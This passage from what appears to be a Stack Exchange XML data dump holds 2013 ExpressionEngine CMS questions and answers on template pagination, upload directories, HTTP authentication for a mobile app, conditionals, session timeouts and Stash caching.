class=&quot;last_comments_item_topic&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Хамовники венское&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul id=&quot;pages&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;div id=&quot;last_posts_wrapper&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;last_posts&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;last_posts_title&quot;&amp;gt;&#xA;                Новые темы на форуме&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;last_posts_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;VIPERRR666&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;22.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Где в Москве попить пива?&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Сергей&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;19.05.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Странная информация на бутылке...&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Виталий&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;17.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Есть ли пиво в России?&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Недовольный&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;14.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Проблемы с сайтом&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Водка&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;22.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Пейте водку !!!&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Монах&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;19.05.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                    Предлагаю траппистское пиво своего произв...&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_posts_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_author&quot;&amp;gt;Папа Римский&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_date&quot;&amp;gt;17.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_posts_item_content&quot;&amp;gt;&#xA;                   Жаль у нас в Ватикане нету такого сайта(((&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul id=&quot;pages&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;right_col&quot; class=&quot;grid_4_index&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;last_tests_wrapper&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;last_tests&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;last_tests_title&quot;&amp;gt;&#xA;                Последние пробы&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;last_tests_item&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_title&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_img&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/img/beer/asterie.jpg&quot; alt=&quot;&quot;&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_name&quot;&amp;gt;ASTERIE&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;last_tests_item_type&quot;&amp;gt;Blanche&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_strength&quot;&amp;gt;4,9%&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_country&quot;&amp;gt;&amp;lt;img src=&quot;/img/flags/belgium.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_rating&quot;&amp;gt;7&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_tests_item&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_title&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_img&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/img/beer/altmuller.jpg&quot; alt=&quot;&quot;&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_name&quot;&amp;gt;ALTMULLER&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_type&quot;&amp;gt;Weissbier&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_strength&quot;&amp;gt;5,4%&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_country&quot;&amp;gt;&amp;lt;img src=&quot;/img/flags/german.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_rating&quot;&amp;gt;7.5&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_tests_item&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_title&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_img&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/img/beer/uzberg.jpg&quot; alt=&quot;&quot;&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;last_tests_item_name&quot;&amp;gt;ЮЗБЕРГ MUNCHENER HELLES&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_type&quot;&amp;gt;Pilsner&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_strength&quot;&amp;gt;4,8%&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_country&quot;&amp;gt;&amp;lt;img src=&quot;/img/flags/russia.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;last_tests_item_rating&quot;&amp;gt;6&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul id=&quot;pages&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    {embed=&quot;global/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to fix this trouble?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="343" LastEditDate="2013-11-15T15:54:21.450" LastActivityDate="2013-12-15T16:23:57.453" Title="Pagination breaks the page markup" Tags="|templates|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16783" PostTypeId="1" CreationDate="2013-11-15T10:05:03.103" Score="1" ViewCount="41" Body="&lt;p&gt;EE v2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I log in as a content manager and try to upload a file, the destination directory in File Manager reverts to 'blogs', even though the destination has been set to another directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log in as a super admin to do this, I notice that when the upload window opens initially it states momentarily that the destination is the 'blogs' directory, but then it flashes to the correct destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding a new destination directory, changing permissions, and I've checked that the content user has permissions to upload to other directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has just started happening, the content user was able to upload to the correct directories before, I am not entirely certain what may have changed as other users have access, but they wouldn't have changed much if anything.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-11-15T12:21:22.523" LastActivityDate="2013-11-15T16:48:08.453" Title="Upload directory path - keeps reverting back to 'blogs'" Tags="|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16784" PostTypeId="1" AcceptedAnswerId="16787" CreationDate="2013-11-15T10:16:47.807" Score="4" ViewCount="435" Body="&lt;p&gt;Is it possible to use some sort of stateless authentication to control access to the site front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example oAuth or openID (is this stateless)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use case is we are trying to work out a way to authenticate users of an iOS/Android app that will interface with an existing EE site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think my original question may have been badly phrased. What we were looking for was a means to use HTTP authentication so an iPhone app could interface with the EE front end. Apparently if we used the regular EE authentication this might cause issues getting the app approved by Apple. They prefer &quot;native&quot; over &quot;web&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel the need to clarify the reason behind this authentication requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its more about REST best-practices than getting the app Approved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;REST is by nature stateless (see here: en.wikipedia.org/wiki/Representational_state_transfer), however EE uses Session-based authentication. Turning on Basic HTTP Auth allows us to authenticate statelessly with the API rather than play around with a session cookie on the client side. Also worth noting that the libraries being used on the clients-side have nice support for Basic HTTP Auth, ie: &lt;a href=&quot;http://cocoadocs.org/docsets/AFNetworking/1.3.1/Classes/AFHTTPClient.html#//api/name/setAuthorizationHeaderWithUsername:password&quot; rel=&quot;nofollow&quot;&gt;http://cocoadocs.org/docsets/AFNetworking/1.3.1/Classes/AFHTTPClient.html#//api/name/setAuthorizationHeaderWithUsername:password&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of Approval, wrapping a web view in a thin native shell might get the app rejected so consuming the data via REST and caching/displaying it natively is the best option.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="2369" LastEditDate="2013-11-16T20:30:48.143" LastActivityDate="2017-08-05T14:30:07.193" Title="Stateless authentication" Tags="|authentication|oauth|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16785" PostTypeId="1" CreationDate="2013-11-15T10:23:14.943" Score="2" ViewCount="96" Body="&lt;p&gt;I am trying to display only the products that are on sale using the following code but instead of only displaying the one product I have on sale, it is displaying all my products. Please can someone tell me what is wrong with my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am testing using Expression Engine 2.7.1 and Expresso Store 2.0.6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search:on_sale=&quot;yes&quot; }&#xA;&#xA;        {title}&#xA;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2344" LastActivityDate="2013-11-17T10:28:14.707" Title="Displaying only products on sale" Tags="|expresso-store|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16787" PostTypeId="2" ParentId="16784" CreationDate="2013-11-15T12:19:12.497" Score="8" Body="&lt;p&gt;For the benefit of others it appears we have solved our problem by setting HTTP authentication on the templates we are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this via Design-&gt;Template preferences, select the template and set HTTP authentication to 'yes' (the option at the bottom of the form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses HTTP authentication against the EE member credentials stored in the database and allows our phone app to use HTTP authentication rather than EE's sessions which apparently can make it easier to get app approval from Apple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means for us is that we can basically create a template group which acts as a kind of API and let's us return data to the phone app as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to work OK for our needs but it's early days and we were just experimenting so your results/requirements may differ and we may run into issues further along the line.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-15T12:19:12.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16788" PostTypeId="2" ParentId="16757" CreationDate="2013-11-15T13:07:55.743" Score="2" Body="&lt;p&gt;Actually, Low Reorder does &lt;em&gt;not&lt;/em&gt; use the native prev/next entry methods, it uses its own. Also, &lt;code&gt;{url_title_path=&quot;&quot;}&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; available as a variable in either &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html#variables&quot; rel=&quot;nofollow&quot;&gt;the native tags&lt;/a&gt; nor in the Low Reorder tags. It is specific to the channel:entries tag only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this instead: &lt;code&gt;{path=&quot;work/projects/{url_title}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-11-15T13:07:55.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16789" PostTypeId="2" ParentId="16782" CreationDate="2013-11-15T14:15:30.400" Score="1" Body="&lt;p&gt;can't see the code but seems to me you forgot a closing div with the pagination block&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-11-15T14:15:30.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16791" PostTypeId="1" CreationDate="2013-11-15T15:33:32.603" Score="4" ViewCount="135" Body="&lt;p&gt;I was wondering if anyone has been able to attempt Multi-site cache breaking with Ce_cache? And what did you do to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to stay away from PHP to achieve this, and having someone to Clear the cache every time the site is updated.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-12-15T09:27:16.657" Title="Multi-site Cache Breaking" Tags="|multi-site-manager|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16792" PostTypeId="2" ParentId="16760" CreationDate="2013-11-15T15:52:16.943" Score="3" Body="&lt;p&gt;The error happens because, sometimes, the conditionals brakes after a stage of parsing. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {x} != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If, &lt;code&gt;x&lt;/code&gt; is empty, the conditional will be turned into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which doesn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{x}&quot; != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the what the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#conditional-variables&quot; rel=&quot;nofollow&quot;&gt;Template Class calls &quot;short conditionals&quot;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if x}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest you to try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{super_search_keywords}&quot; !=&quot;&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{super_search_keywords} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;{if:elseif &quot;{super_search_category_name}&quot; !=&quot;&quot;}&#xA;&#xA;    {if &quot;{super_search_job_location}&quot; !=&quot;&quot;}&#xA;        &amp;lt;h1&amp;gt;{super_search_category_name} Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;h1&amp;gt;{super_search_category_name} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;{if:else}&#xA;&#xA;    &amp;lt;h1&amp;gt;Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-15T15:52:16.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16793" PostTypeId="2" ParentId="5760" CreationDate="2013-11-15T16:32:52.367" Score="0" Body="&lt;p&gt;Could be that your host has ran out of Disk Space, the same happened to us and this was the issue!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-11-15T16:32:52.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16794" PostTypeId="2" ParentId="16686" CreationDate="2013-11-15T16:41:24.927" Score="4" Body="&lt;p&gt;You might want to take a look at Postmaster (&lt;a href=&quot;https://objectivehtml.com/postmaster/&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster/&lt;/a&gt;) for doing this. With Postmaster I believe you can create 'tasks' which can be executed by cron and it provides facilities to handle custom messaging etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to set up notifications with some templating logic and these can also be triggered via a cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not super-familiar with it (as you can probably tell!) but I think it will help you in this case and the author provides very good support.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-11-15T17:41:55.383" LastActivityDate="2013-11-15T17:41:55.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16795" PostTypeId="2" ParentId="16783" CreationDate="2013-11-15T16:48:08.453" Score="1" Body="&lt;p&gt;Sounds like an addon is getting in the way. You can check to see if it's an Extension causing the issue by temporarily disable Extensions by adding this into your /system/expressionengine/config/config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-15T16:48:08.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16796" PostTypeId="2" ParentId="16774" CreationDate="2013-11-15T16:51:27.580" Score="0" Body="&lt;p&gt;If you are using the Zenbu module on your EE install to change the Edit page, it may be the source of the issues. Try uninstalling and retest the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't using Zenbu look at all your installed addons to see if any others are making changes to the Edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test to see if it's an Extension causing the problem by adding this to your config file which is located here /system/expressionengine/config/config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-15T16:51:27.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16798" PostTypeId="1" AcceptedAnswerId="16819" CreationDate="2013-11-15T18:20:29.847" Score="2" ViewCount="977" Body="&lt;p&gt;I'm on EE 2.7 and clients are complaining of short logout times. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’m forced to re-log into EE within 20-30 minutes of non-usage even though you’ve set the timeout to 8.3 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My current settings are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['cp_session_ttl'] = 30000; // Keep admins logged in for one business day&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on other settings to check/change?&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2013-11-16T15:06:40.757" Title="Control Panel Login Timeout issues" Tags="|control-panel|sessions|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16800" PostTypeId="2" ParentId="16760" CreationDate="2013-11-15T18:52:46.667" Score="1" Body="&lt;p&gt;Thanks Robson Sobral you set me on the right track the following fixes the conditionals&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{super_search_keywords}&quot; !=&quot;&quot;}&#xA;    &amp;lt;h1&amp;gt;{super_search_keywords} Jobs {if &quot;{super_search_job_location}&quot; !=&quot;&quot;}&#xA;         In {super_search_job_location}&#xA;    {/if}&amp;lt;/h1&amp;gt;&#xA;&#xA;{if:elseif &quot;{super_search_category}&quot; !=&quot;&quot;}&#xA; &amp;lt;h1&amp;gt;{super_search_category} Jobs {if &quot;{super_search_job_location}&quot; !=&quot;&quot;}&#xA;         In {super_search_job_location}&#xA;    {/if}&amp;lt;/h1&amp;gt;&#xA;&#xA;&#xA;{if:else}&#xA;    &amp;lt;h1&amp;gt;Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have one more thing which maybe should ask in a new question the {super_search_category} can only pull back the category ID is there anyway to convert this id to the name&lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2013-11-15T18:52:46.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16801" PostTypeId="1" AcceptedAnswerId="16811" CreationDate="2013-11-15T19:41:59.850" Score="1" ViewCount="342" Body="&lt;p&gt;I'm using DevDemon's Channel Videos to include videos into my entry. I'd like to output only up to 2 videos, randomly selected from my list. Unfortunately the orderby=&quot;random&quot; option isn't available. Is there another way to easily accomplish this? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-11-18T19:36:11.353" Title="Grab random entry without orderby=&quot;random&quot;?" Tags="|orderby|channel-videos|random|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16802" PostTypeId="1" AcceptedAnswerId="16869" CreationDate="2013-11-15T19:57:26.473" Score="1" ViewCount="435" Body="&lt;p&gt;I have two chunks of data in the same 'viewModel' template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Getting data for kitchen list --}&#xA;{exp:stash:set_list&#xA;    name=&quot;kitchen_list&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    save=&quot;yes&quot;&#xA;    scope=&quot;site&quot;&#xA;    refresh=&quot;1440&quot;&#xA;    replace=&quot;no&quot;&#xA;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;kitchen_list&quot;&#xA;    disable=&quot;member_data|pagination|categories&quot;&#xA;  }&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;    {stash:url_title_path}{url_title_path='sky-island-natural-foods/whats-cooking'}{/stash:url_title_path}&#xA;    {stash:description_brief}{kitchen_description_brief}{/stash:description_brief}&#xA;    {stash:description_full}{kitchen_description_full}{/stash:description_full}&#xA;    {stash:photo_product}{kitchen_photo_product}{/stash:photo_product}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Getting data for kitchen list page --}&#xA;{exp:stash:set_list&#xA;    name=&quot;kitchen_page&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    save=&quot;yes&quot;&#xA;    scope=&quot;site&quot;&#xA;    refresh=&quot;1440&quot;&#xA;    replace=&quot;no&quot;&#xA;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;kitchen_page&quot;&#xA;    disable=&quot;member_data|pagination|categories&quot;&#xA;    limit=&quot;1&quot;&#xA;  }&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:sidebar_heading}{kitchen_page_sidebar_heading}{/stash:sidebar_heading}&#xA;    {stash:sidebar}{kitchen_page_sidebar}{/stash:sidebar}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all works fine, but when I look at the stash table with Sequel Pro as I navigate the pages, it seems that the kitchen_list does not get rewritten to the database (I thought replace=&quot;no&quot; took care of this) on each subsequent page visit, but kitchen_page does get rewritten every time I revisit a page which uses that data. So there are multiple row in the table for kitchen_page with identical data, just different IDs, but there is only one row for kitchen_list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected that by caching the fragments of data and using replace=&quot;no&quot;, I would only see a single row in the stash table for that fragment, no matter how many times the stash list was called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell if there is something off with my code, or just my assumptions/understanding of the caching. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-11-18T20:36:43.197" Title="Can't tell if Stash cache is working" Tags="|stash|cache|caching|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
